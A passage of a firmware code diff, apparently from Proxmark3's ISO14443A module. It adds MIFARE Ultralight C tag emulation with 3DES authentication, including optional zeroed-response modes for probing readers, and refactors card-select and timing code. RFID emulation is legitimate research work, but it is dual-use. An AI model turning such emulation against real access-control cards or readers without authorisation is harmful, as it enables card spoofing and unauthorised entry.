Dbprintf("[MFUEMUL_WORK] %d reads done, exiting", numReads); + Dbprintf("[MFUEMUL_WORK] " _YELLOW_("%u") " reads done, exiting", numReads); finished = true; } } @@ -1612,9 +1840,9 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ // block1 = 4byte UID. p_response = &responses[RESP_INDEX_UIDC1]; } else { // all other tags (16 byte block tags) - uint8_t emdata[MAX_MIFARE_FRAME_SIZE] = {0}; - emlGet(emdata, block, 16); - AddCrc14A(emdata, 16); + uint8_t emdata[MIFARE_BLOCK_SIZE + CRC16_SIZE] = {0}; + emlGet(emdata, block, MIFARE_BLOCK_SIZE); + AddCrc14A(emdata, MIFARE_BLOCK_SIZE); EmSendCmd(emdata, sizeof(emdata)); // We already responded, do not send anything with the EmSendCmd14443aRaw() that is called below p_response = NULL; @@ -1635,25 +1863,53 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ EmSendCmd(emdata, len + 2); } p_response = NULL; - } else if (receivedCmd[0] == MIFARE_ULC_WRITE && len == 8 && (tagType == 2 || tagType == 7)) { // Received a WRITE + } else if (receivedCmd[0] == MIFARE_ULC_WRITE && len == 8 && (tagType == 2 || tagType == 7 || tagType == 13)) { // Received a WRITE + + p_response = NULL; + // cmd + block + 4 bytes data + 2 bytes crc if (CheckCrc14A(receivedCmd, len)) { + uint8_t block = receivedCmd[1]; + + // sanity checks if (block > pages) { - // send NACK 0x0 == invalid argument + // send NACK 0x0, invalid argument EmSend4bit(CARD_NACK_IV); - } else { - // first blocks of emu are header - emlSetMem_xt(&receivedCmd[2], block + MFU_DUMP_PREFIX_LENGTH / 4, 1, 4); - // send ACK - EmSend4bit(CARD_ACK); + goto jump; + } + + // OTP sanity check + if (block == 0x03) { + + uint8_t orig[4] = {0}; + emlGet(orig, 12 + MFU_DUMP_PREFIX_LENGTH, 4); + + bool risky = false; + for (int i = 0; i < 4; i++) { + risky |= (orig[i] & ~receivedCmd[2 + i]); + } + + if (risky) { + EmSend4bit(CARD_NACK_IV); + goto jump; + } + } + + // first blocks of emu are header + emlSetMem_xt(&receivedCmd[2], block + (MFU_DUMP_PREFIX_LENGTH / 4), 1, 4); + // send ACK + EmSend4bit(CARD_ACK); + + if (tagType == 13 && block >= 0x2c && block <= 0x2F) { + ulc_reread_key = true; } } else { // send NACK 0x1 == crc/parity error EmSend4bit(CARD_NACK_PA); } - p_response = NULL; - } else if (receivedCmd[0] == MIFARE_ULC_COMP_WRITE && len == 4 && (tagType == 2 || tagType == 7)) { + goto jump; + } else if (receivedCmd[0] == MIFARE_ULC_COMP_WRITE && len == 4 && (tagType == 2 || tagType == 7 || tagType == 13)) { // cmd + block + 2 bytes crc if (CheckCrc14A(receivedCmd, len)) { wrblock = receivedCmd[1]; @@ -1679,8 +1935,8 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ // send NACK 0x0 == invalid argument EmSend4bit(CARD_NACK_IV); } else { - uint8_t cmd[] = {0x00, 0x00, 0x00, 0x14, 0xa5}; - htole24(counters[index], cmd); + uint8_t cmd[] = {0, 0, 0, 0x14, 0xa5}; + memcpy(cmd, mfu_em_dump->counter_tearing[index], 3); AddCrc14A(cmd, sizeof(cmd) - 2); EmSendCmd(cmd, sizeof(cmd)); } @@ -1691,13 +1947,16 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ // send NACK 0x0 == invalid argument EmSend4bit(CARD_NACK_IV); } else { - uint32_t val = le24toh(receivedCmd + 2) + counters[index]; + uint32_t val = le24toh(mfu_em_dump->counter_tearing[index]); // get current counter value + val += le24toh(receivedCmd + 2); // increment in + // if new value + old value is bigger 24bits, fail if (val > 0xFFFFFF) { // send NACK 0x4 == counter overflow EmSend4bit(CARD_NACK_NA); } else { - counters[index] = val; + htole24(val, mfu_em_dump->counter_tearing[index]); + // send ACK EmSend4bit(CARD_ACK); } @@ -1711,7 +1970,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ EmSend4bit(CARD_NACK_IV); } else { uint8_t cmd[3] = {0, 0, 0}; - cmd[0] = tearings[index]; + cmd[0] = mfu_em_dump->counter_tearing[index][3]; AddCrc14A(cmd, sizeof(cmd) - 2); EmSendCmd(cmd, sizeof(cmd)); } @@ -1724,7 +1983,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ p_response = &responses[RESP_INDEX_VERSION]; } else if (receivedCmd[0] == MFDES_GET_VERSION && len == 4 && (tagType == 3)) { p_response = &responses[RESP_INDEX_VERSION]; - } else if ((receivedCmd[0] == MIFARE_AUTH_KEYA || receivedCmd[0] == MIFARE_AUTH_KEYB) && len == 4 && tagType != 2 && tagType != 7) { // Received an authentication request + } else if ((receivedCmd[0] == MIFARE_AUTH_KEYA || receivedCmd[0] == MIFARE_AUTH_KEYB) && len == 4 && tagType != 2 && tagType != 7 && tagType != 13) { // Received an authentication request cardAUTHKEY = receivedCmd[0] - 0x60; cardAUTHSC = receivedCmd[1] / 4; // received block num @@ -1741,11 +2000,79 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ EmSend4bit(CARD_NACK_NA); p_response = NULL; } else { - p_response = &responses[RESP_INDEX_RATS]; + p_response = &responses[RESP_INDEX_ATS]; } - } else if (receivedCmd[0] == MIFARE_ULC_AUTH_1) { // ULC authentication, or Desfire Authentication - LogTrace(receivedCmd, Uart.len, Uart.startTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime * 16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); - p_response = NULL; + } else if (receivedCmd[0] == MIFARE_ULC_AUTH_1 && len == 4 && tagType == 13) { // ULC authentication, or Desfire Authentication + + // reset IV to all zeros + memset(ulc_iv, 0x00, 8); + + if (ulc_reread_key) { + Simulate_reread_ulc_key(ulc_key); + ulc_reread_key = false; + } + + dynamic_response_info.response[0] = MIFARE_ULC_AUTH_2; + + // our very random TAG NONCE + memcpy(dynamic_response_info.response + 1, ULC_TAG_NONCE, 8); + + if (ulc_part1) { + memset(dynamic_response_info.response + 1, 0, 8); + } else { + // encrypt TAG NONCE + tdes_nxp_send(dynamic_response_info.response + 1, dynamic_response_info.response + 1, 8, ulc_key, ulc_iv, 2); + } + + // Add CRC + AddCrc14A(dynamic_response_info.response, 9); + + // prepare to send + dynamic_response_info.response_n = 1 + 8 + 2; + prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER_SIZE); + p_response = &dynamic_response_info; + order = ORDER_AUTH; + + } else if (receivedCmd[0] == MIFARE_ULC_AUTH_2 && len == 19 && tagType == 13) { // ULC authentication, or Desfire Authentication + + uint8_t enc_rnd_ab[16] = { 0x00 }; + uint8_t rnd_ab[16] = { 0x00 }; + + // copy reader response + memcpy(enc_rnd_ab, receivedCmd + 1, 16); + + // decrypt + tdes_nxp_receive(enc_rnd_ab, rnd_ab, 16, ulc_key, ulc_iv, 2); + + ror(rnd_ab + 8, 8); + + if (memcmp(rnd_ab + 8, ULC_TAG_NONCE, 8) != 0) { + Dbprintf("failed authentication"); + } + + // OK response + dynamic_response_info.response[0] = 0x00; + + if (ulc_part2) { + // try empty auth but with correct CRC and 0x00 command + memset(dynamic_response_info.response + 1, 0, 8); + } else { + // rol RndA + rol(rnd_ab, 8); + + // encrypt RndA + tdes_nxp_send(rnd_ab, dynamic_response_info.response + 1, 8, ulc_key, ulc_iv, 2); + } + + // Add CRC + AddCrc14A(dynamic_response_info.response, 9); + + dynamic_response_info.response_n = 1 + 8 + 2; + + prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER_SIZE); + p_response = &dynamic_response_info; + order = ORDER_NONE; + } else if (receivedCmd[0] == MIFARE_ULEV1_AUTH && len == 7 && tagType == 7) { // NTAG / EV-1 uint8_t pwd[4] = {0, 0, 0, 0}; emlGet(pwd, (pages - 1) * 4 + MFU_DUMP_PREFIX_LENGTH, sizeof(pwd)); @@ -1757,7 +2084,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ } if (memcmp(pwd, "\x00\x00\x00\x00", 4) == 0) { - Uint4byteToMemLe(pwd, ul_ev1_pwdgenB(data)); + Uint4byteToMemLe(pwd, ul_ev1_pwdgenB(useruid)); if (g_dbglevel >= DBG_DEBUG) Dbprintf("Calc pwd... %02X %02X %02X %02X", pwd[0], pwd[1], pwd[2], pwd[3]); } @@ -1899,6 +2226,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ // Count number of other messages after a halt // if (order != ORDER_WUPA && lastorder == ORDER_HALTED) { happened2++; } +jump: cmdsRecvd++; @@ -1925,13 +2253,16 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ // of bits specified in the delay parameter. static void PrepareDelayedTransfer(uint16_t delay) { delay &= 0x07; - if (!delay) return; + if (delay == 0) { + return; + } uint8_t bitmask = 0; uint8_t bits_shifted = 0; - for (uint16_t i = 0; i < delay; i++) + for (uint16_t i = 0; i < delay; i++) { bitmask |= (0x01 << i); + } tosend_t *ts = get_tosend(); @@ -1960,16 +2291,20 @@ static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing Dbprintf("Warning: HF field is off"); return; } + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); if (timing) { - if (*timing == 0) // Measure time + + if (*timing == 0) { // Measure time *timing = (GetCountSspClk() + 8) & 0xfffffff8; - else + } else { PrepareDelayedTransfer(*timing & 0x00000007); // Delay transfer (fine tuning - up to 7 MF clock ticks) + } while (GetCountSspClk() < (*timing & 0xfffffff8)) {}; // Delay transfer (multiple of 8 MF clock ticks) LastTimeProxToAirStart = *timing; + } else { uint32_t ThisTransferTime = 0; @@ -2113,19 +2448,32 @@ int EmGetCmd(uint8_t *received, uint16_t received_max_len, uint16_t *len, uint8_ uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; (void)b; - uint16_t check = 0; - + uint8_t flip = 0; + uint16_t checker = 4000; for (;;) { WDT_HIT(); - if (check == 1000) { - if (BUTTON_PRESS() || data_available()) { - Dbprintf("----------- " _GREEN_("BREAKING") " ----------"); - return 1; + // ever 3 * 4000, check if we got any data from client + // takes long time, usually messes with simualtion + if (flip == 3) { + if (data_available()) { + Dbprintf("----------- " _GREEN_("Breaking / Data") " ----------"); + return false; } - check = 0; + flip = 0; } - ++check; + + // button press, takes a bit time, might mess with simualtion + if (checker-- == 0) { + if (BUTTON_PRESS()) { + Dbprintf("----------- " _GREEN_("Button pressed, user aborted") " ----------"); + return false; + } + + flip++; + checker = 4000; + } + // test if the field exists if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { @@ -2170,7 +2518,7 @@ int EmGetCmd(uint8_t *received, uint16_t received_max_len, uint16_t *len, uint8_ int EmSendCmd14443aRaw(const uint8_t *resp, uint16_t respLen) { volatile uint8_t b; uint16_t i = 0; - uint32_t ThisTransferTime; + uint32_t ThisTransferTime = 0; bool correction_needed; // Modulate Manchester @@ -2195,7 +2543,9 @@ int EmSendCmd14443aRaw(const uint8_t *resp, uint16_t respLen) { // wait for the FPGA to signal fdt_indicator == 1 (the FPGA is ready to queue new data in its delay line) for (uint8_t j = 0; j < 5; j++) { // allow timeout - better late than never while (!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)); - if (AT91C_BASE_SSC->SSC_RHR) break; + if (AT91C_BASE_SSC->SSC_RHR) { + break; + } } while ((ThisTransferTime = GetCountSspClk()) & 0x00000007); @@ -2221,12 +2571,12 @@ int EmSendCmd14443aRaw(const uint8_t *resp, uint16_t respLen) { } } LastTimeProxToAirStart = ThisTransferTime + (correction_needed ? 8 : 0); - return 0; + return PM3_SUCCESS; } int EmSend4bit(uint8_t resp) { Code4bitAnswerAsTag(resp); - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); int res = EmSendCmd14443aRaw(ts->buf, ts->max); // do the tracing for the previous reader request and this tag answer: uint8_t par[1] = {0x00}; @@ -2248,7 +2598,7 @@ int EmSendCmdPar(uint8_t *resp, uint16_t respLen, uint8_t *par) { } int EmSendCmdParEx(uint8_t *resp, uint16_t respLen, uint8_t *par, bool collision) { CodeIso14443aAsTagPar(resp, respLen, par, collision); - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); int res = EmSendCmd14443aRaw(ts->buf, ts->max); // do the tracing for the previous reader request and this tag answer: @@ -2273,7 +2623,10 @@ int EmSendCmdEx(uint8_t *resp, uint16_t respLen, bool collision) { } int EmSendPrecompiledCmd(tag_response_info_t *p_response) { - if (p_response == NULL) return 0; + if (p_response == NULL) { + return 0; + } + int ret = EmSendCmd14443aRaw(p_response->modulation, p_response->modulation_n); // do the tracing for the previous reader request and this tag answer: GetParity(p_response->response, p_response->response_n, parity_array); @@ -2291,9 +2644,9 @@ int EmSendPrecompiledCmd(tag_response_info_t *p_response) { return ret; } -bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, - uint32_t reader_EndTime, uint8_t *reader_Parity, uint8_t *tag_data, - uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity) { +bool EmLogTrace(const uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, + uint32_t reader_EndTime, const uint8_t *reader_Parity, const uint8_t *tag_data, + uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, const uint8_t *tag_Parity) { // we cannot exactly measure the end and start of a received command from reader. However we know that the delay from // end of the received command to start of the tag's (simulated by us) answer is n*128+20 or n*128+84 resp. @@ -2318,10 +2671,10 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start // If a response is captured return TRUE // If it takes too long return FALSE //----------------------------------------------------------------------------- -bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp_len, uint8_t *received_len) { +bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t rec_maxlen, uint8_t *received_len) { if (g_hf_field_active == false) { - Dbprintf("Warning: HF field is off, ignoring GetIso14443aAnswerFromTag_Thinfilm command"); + Dbprintf("Warning: HF field is off"); return false; } @@ -2332,7 +2685,7 @@ bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); // Now get the answer from the card - Demod14aInit(receivedResponse, resp_len, NULL); + Demod14aInit(receivedResponse, rec_maxlen, NULL); // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; @@ -2348,18 +2701,17 @@ bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; if (ManchesterDecoding_Thinfilm(b)) { *received_len = Demod.len; - LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false); return true; } } - if (GetTickCountDelta(receive_timer) > timeout + 100) + if (GetTickCountDelta(receive_timer) > timeout + 100) { break; + } } *received_len = Demod.len; - LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false); return false; } @@ -2413,28 +2765,27 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint16_t rec_max return false; } -void ReaderTransmitBitsPar(uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing) { - +void ReaderTransmitBitsPar(const uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing) { CodeIso14443aBitsAsReaderPar(frame, bits, par); // Send command to tag - tosend_t *ts = get_tosend(); + const tosend_t *ts = get_tosend(); TransmitFor14443a(ts->buf, ts->max, timing); if (g_trigger) LED_A_ON(); LogTrace(frame, nbytes(bits), (LastTimeProxToAirStart << 4) + DELAY_ARM2AIR_AS_READER, ((LastTimeProxToAirStart + LastProxToAirDuration) << 4) + DELAY_ARM2AIR_AS_READER, par, true); } -void ReaderTransmitPar(uint8_t *frame, uint16_t len, uint8_t *par, uint32_t *timing) { +void ReaderTransmitPar(const uint8_t *frame, uint16_t len, uint8_t *par, uint32_t *timing) { ReaderTransmitBitsPar(frame, len * 8, par, timing); } -static void ReaderTransmitBits(uint8_t *frame, uint16_t len, uint32_t *timing) { +static void ReaderTransmitBits(const uint8_t *frame, uint16_t len, uint32_t *timing) { // Generate parity and redirect GetParity(frame, len / 8, parity_array); ReaderTransmitBitsPar(frame, len, parity_array, timing); } -void ReaderTransmit(uint8_t *frame, uint16_t len, uint32_t *timing) { +void ReaderTransmit(const uint8_t *frame, uint16_t len, uint32_t *timing) { // Generate parity and redirect GetParity(frame, len, parity_array); ReaderTransmitBitsPar(frame, len * 8, parity_array, timing); @@ -2472,9 +2823,9 @@ void iso14443a_antifuzz(uint32_t flags) { int len = 0; // allocate buffers: - uint8_t *received = BigBuf_malloc(MAX_FRAME_SIZE); - uint8_t *receivedPar = BigBuf_malloc(MAX_PARITY_SIZE); - uint8_t *resp = BigBuf_malloc(20); + uint8_t *received = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedPar = BigBuf_calloc(MAX_PARITY_SIZE); + uint8_t *resp = BigBuf_calloc(20); memset(received, 0x00, MAX_FRAME_SIZE); memset(received, 0x00, MAX_PARITY_SIZE); @@ -2493,7 +2844,7 @@ void iso14443a_antifuzz(uint32_t flags) { resp[0] = 0x04; resp[1] = 0x00; - if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { + if (IS_FLAG_UID_IN_DATA(flags, 7)) { resp[0] = 0x44; } @@ -2511,8 +2862,8 @@ void iso14443a_antifuzz(uint32_t flags) { resp[4] = resp[0] ^ resp[1] ^ resp[2] ^ resp[3]; colpos = 0; - if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { - resp[0] = 0x88; + if (IS_FLAG_UID_IN_DATA(flags, 7)) { + resp[0] = MIFARE_SELECT_CT; colpos = 8; } @@ -2561,30 +2912,40 @@ static void iso14a_set_ATS_times(const uint8_t *ats) { } -static int GetATQA(uint8_t *resp, uint16_t resp_len, uint8_t *resp_par, iso14a_polling_parameters_t *polling_parameters) { -#define WUPA_RETRY_TIMEOUT 10 +static int GetATQA(uint8_t *resp, uint16_t resp_len, uint8_t *resp_par, const iso14a_polling_parameters_t *polling_parameters) { +#define RETRY_TIMEOUT 10 uint32_t save_iso14a_timeout = iso14a_get_timeout(); iso14a_set_timeout(1236 / 128 + 1); // response to WUPA is expected at exactly 1236/fc. No need to wait longer. + // refactored to use local pointer, now no modification of polling_parameters pointer is done + // I don't think the intention was to modify polling_parameters when sending in WUPA_POLLING_PARAMETERS etc. + // Modify polling_params, if null use default values. + iso14a_polling_parameters_t p; + memcpy(&p, (uint8_t *)polling_parameters, sizeof(iso14a_polling_parameters_t)); + + if (polling_parameters == NULL) { + memcpy(&p, (uint8_t *)&hf14a_polling_parameters, sizeof(iso14a_polling_parameters_t)); + } + bool first_try = true; - uint32_t retry_timeout = WUPA_RETRY_TIMEOUT * polling_parameters->frame_count + polling_parameters->extra_timeout; - uint32_t start_time = 0; int len; + uint32_t retry_timeout = ((RETRY_TIMEOUT * p.frame_count) + p.extra_timeout); + uint32_t start_time = 0; + uint8_t curr = 0; - uint8_t current_frame = 0; - + // Use the temporary polling parameters do { - iso14a_polling_frame_t *frame_parameters = &polling_parameters->frames[current_frame]; + const iso14a_polling_frame_t *frp = &p.frames[curr]; - if (frame_parameters->last_byte_bits == 8) { - ReaderTransmit(frame_parameters->frame, frame_parameters->frame_length, NULL); + if (frp->last_byte_bits == 8) { + ReaderTransmit(frp->frame, frp->frame_length, NULL); } else { - ReaderTransmitBitsPar(frame_parameters->frame, frame_parameters->last_byte_bits, NULL, NULL); + ReaderTransmitBitsPar(frp->frame, frp->last_byte_bits, NULL, NULL); } - if (frame_parameters->extra_delay) { - SpinDelay(frame_parameters->extra_delay); + if (frp->extra_delay) { + SpinDelay(frp->extra_delay); } // Receive the ATQA @@ -2593,12 +2954,12 @@ static int GetATQA(uint8_t *resp, uint16_t resp_len, uint8_t *resp_par, iso14a_p // We set the start_time here otherwise in some cases we miss the window and only ever try once if (first_try) { start_time = GetTickCount(); + first_try = false; } - first_try = false; - // Go over frame configurations, loop back when we reach the end - current_frame = current_frame < (polling_parameters->frame_count - 1) ? current_frame + 1 : 0; + curr = (curr < (p.frame_count - 1)) ? curr + 1 : 0; + } while (len == 0 && GetTickCountDelta(start_time) <= retry_timeout); iso14a_set_timeout(save_iso14a_timeout); @@ -2607,9 +2968,13 @@ static int GetATQA(uint8_t *resp, uint16_t resp_len, uint8_t *resp_par, iso14a_p int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats) { - return iso14443a_select_cardEx(uid_ptr, p_card, cuid_ptr, anticollision, num_cascades, no_rats, &WUPA_POLLING_PARAMETERS); + return iso14443a_select_cardEx(uid_ptr, p_card, cuid_ptr, anticollision, num_cascades, no_rats, NULL, false); +} +int iso14443a_select_card_for_magic(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades) { + // Bug fix: When SAK is 0x00, `iso14443a_select_cardEx` would return too early at + // line "if (hf14aconfig.forcerats == 0)".`force_rats` is used to force RATS execution and ATS retrieval. + return iso14443a_select_cardEx(uid_ptr, p_card, cuid_ptr, anticollision, num_cascades, false, NULL, true); } - // performs iso14443a anticollision (optional) and card select procedure // fills the uid and cuid pointer unless NULL @@ -2619,7 +2984,7 @@ int iso14443a_select_card(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32 // requests ATS unless no_rats is true int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats, - iso14a_polling_parameters_t *polling_parameters) { + const iso14a_polling_parameters_t *polling_parameters, bool force_rats) { uint8_t resp[MAX_FRAME_SIZE] = {0}; // theoretically. A usual RATS will be much smaller @@ -2674,8 +3039,9 @@ int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint if (anticollision) { // clear uid - if (uid_ptr) + if (uid_ptr) { memset(uid_ptr, 0, 10); + } } if (hf14aconfig.forceanticol == 0) { @@ -2749,7 +3115,7 @@ int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint } else { if (cascade_level < num_cascades - 1) { - uid_resp[0] = 0x88; + uid_resp[0] = MIFARE_SELECT_CT; memcpy(uid_resp + 1, uid_ptr + cascade_level * 3, 3); } else { memcpy(uid_resp, uid_ptr + cascade_level * 3, 4); @@ -2797,7 +3163,7 @@ int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint sak = resp[0]; // Test if more parts of the uid are coming - do_cascade = (((sak & 0x04) /* && uid_resp[0] == 0x88 */) > 0); + do_cascade = (((sak & 0x04) /* && uid_resp[0] == MIFARE_SELECT_CT */) > 0); if (cascade_level == 0) { @@ -2836,18 +3202,18 @@ int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint p_card->sak = sak; } - if (hf14aconfig.forcerats == 0) { + if (hf14aconfig.forcerats == 0 && force_rats == false) { // PICC compliant with iso14443a-4 ---> (SAK & 0x20 != 0) if ((sak & 0x20) == 0) { return 2; } - } else if (hf14aconfig.forcerats == 2) { + } else if (hf14aconfig.forcerats == 2 && force_rats == false) { if ((sak & 0x20) != 0) Dbprintf("Skipping RATS according to hf 14a config"); return 2; } // else force RATS - if ((sak & 0x20) == 0) Dbprintf("Forcing RATS according to hf 14a config"); + if ((sak & 0x20) == 0 && force_rats == false) Dbprintf("Forcing RATS according to hf 14a config"); // RATS, Request for answer to select if (no_rats == false) { @@ -2873,15 +3239,14 @@ int iso14443a_select_cardEx(uint8_t *uid_ptr, iso14a_card_select_t *p_card, uint return 1; } -int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades) { - uint8_t resp[5] = {0}; // theoretically. A usual RATS will be much smaller +int iso14443a_fast_select_card(const uint8_t *uid_ptr, uint8_t num_cascades) { + uint8_t resp[3] = { 0 }; // theoretically. max 1 Byte SAK, 2 Byte CRC, 3 bytes is enough uint8_t resp_par[1] = {0}; - uint8_t uid_resp[4] = {0}; uint8_t sak = 0x04; // cascade uid - int cascade_level = 0; + int cascade_level = 1; - if (GetATQA(resp, sizeof(resp), resp_par, &WUPA_POLLING_PARAMETERS) == 0) { + if (GetATQA(resp, sizeof(resp), resp_par, NULL) == 0) { return 0; } @@ -2889,39 +3254,31 @@ int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades) { // which case we need to make a cascade 2 request and select - this is a long UID // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. for (; sak & 0x04; cascade_level++) { - uint8_t sel_uid[] = { ISO14443A_CMD_ANTICOLL_OR_SELECT, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) - sel_uid[0] = ISO14443A_CMD_ANTICOLL_OR_SELECT + cascade_level * 2; - - if (cascade_level < num_cascades - 1) { - uid_resp[0] = 0x88; - memcpy(uid_resp + 1, uid_ptr + cascade_level * 3, 3); - } else { - memcpy(uid_resp, uid_ptr + cascade_level * 3, 4); - } + // transmitting a full UID (1 Byte cmd, 1 Byte NVB, 4 Byte UID, 1 Byte BCC, 2 Bytes CRC) + uint8_t sel_uid[9] = { ISO14443A_CMD_ANTICOLL_OR_SELECT, 0x70 }; // Construct SELECT UID command - //sel_uid[1] = 0x70; // transmitting a full UID (1 Byte cmd, 1 Byte NVB, 4 Byte UID, 1 Byte BCC, 2 Bytes CRC) - memcpy(sel_uid + 2, uid_resp, 4); // the UID received during anticollision, or the provided UID - sel_uid[6] = sel_uid[2] ^ sel_uid[3] ^ sel_uid[4] ^ sel_uid[5]; // calculate and add BCC - AddCrc14A(sel_uid, 7); // calculate and add CRC + // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) + sel_uid[0] = ISO14443A_CMD_ANTICOLL_OR_SELECT + (cascade_level - 1) * 2; + + // CT + UID + if (cascade_level < num_cascades) { + sel_uid[2] = MIFARE_SELECT_CT; + memcpy(&sel_uid[3], uid_ptr + (cascade_level - 1) * 3, 3); + } else { + memcpy(&sel_uid[2], uid_ptr + (cascade_level - 1) * 3, 4); + } + + sel_uid[6] = sel_uid[2] ^ sel_uid[3] ^ sel_uid[4] ^ sel_uid[5]; // calculate and add BCC + AddCrc14A(sel_uid, 7); // calculate and add CRC ReaderTransmit(sel_uid, sizeof(sel_uid), NULL); - // Receive the SAK - if (ReaderReceive(resp, sizeof(resp), resp_par) == 0) { + // Receive 1 Byte SAK, 2 Byte CRC + if (ReaderReceive(resp, sizeof(resp), resp_par) != 3) { return 0; } sak = resp[0]; - - // Test if more parts of the uid are coming - if ((sak & 0x04) /* && uid_resp[0] == 0x88 */) { - // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of: - // http://www.nxp.com/documents/application_note/AN10927.pdf - uid_resp[0] = uid_resp[1]; - uid_resp[1] = uid_resp[2]; - uid_resp[2] = uid_resp[3]; - } } return 1; } @@ -3005,49 +3362,64 @@ int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, bool send_chaining, void *data, u size_t len = ReaderReceive(data, data_len, parity_array); uint8_t *data_bytes = (uint8_t *) data; - if (!len) { + if (len == 0) { BigBuf_free(); return 0; // DATA LINK ERROR - } else { - // S-Block WTX - while (len && ((data_bytes[0] & 0xF2) == 0xF2)) { - uint32_t save_iso14a_timeout = iso14a_get_timeout(); - // temporarily increase timeout - iso14a_set_timeout(MAX((data_bytes[1] & 0x3f) * save_iso14a_timeout, MAX_ISO14A_TIMEOUT)); - // Transmit WTX back - // byte1 - WTXM [1..59]. command FWT=FWT*WTXM - data_bytes[1] = data_bytes[1] & 0x3f; // 2 high bits mandatory set to 0b - // now need to fix CRC. - AddCrc14A(data_bytes, len - 2); - // transmit S-Block - ReaderTransmit(data_bytes, len, NULL); - // retrieve the result again (with increased timeout) - len = ReaderReceive(data, data_len, parity_array); - data_bytes = data; - // restore timeout - iso14a_set_timeout(save_iso14a_timeout); - } + } - // if we received an I- or R(ACK)-Block with a block number equal to the - // current block number, toggle the current block number - if (len >= 3 // PCB+CRC = 3 bytes - && ((data_bytes[0] & 0xC0) == 0 // I-Block - || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0 - && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) { // equal block numbers - iso14_pcb_blocknum ^= 1; - } + uint32_t save_iso14a_timeout = iso14a_get_timeout(); - // if we received I-block with chaining we need to send ACK and receive another block of data - if (res) { - *res = data_bytes[0]; - } + // S-Block WTX + while (len && ((data_bytes[0] & 0xF2) == 0xF2)) { - // crc check - if (len >= 3 && !CheckCrc14A(data_bytes, len)) { + if (BUTTON_PRESS() || data_available()) { BigBuf_free(); - return -1; + return -3; } + // Inform client of WTX of timeout in ms + // 38ms == MAX_ISO14A_TIMEOUT + send_wtx(38); + + // byte1 - WTXM 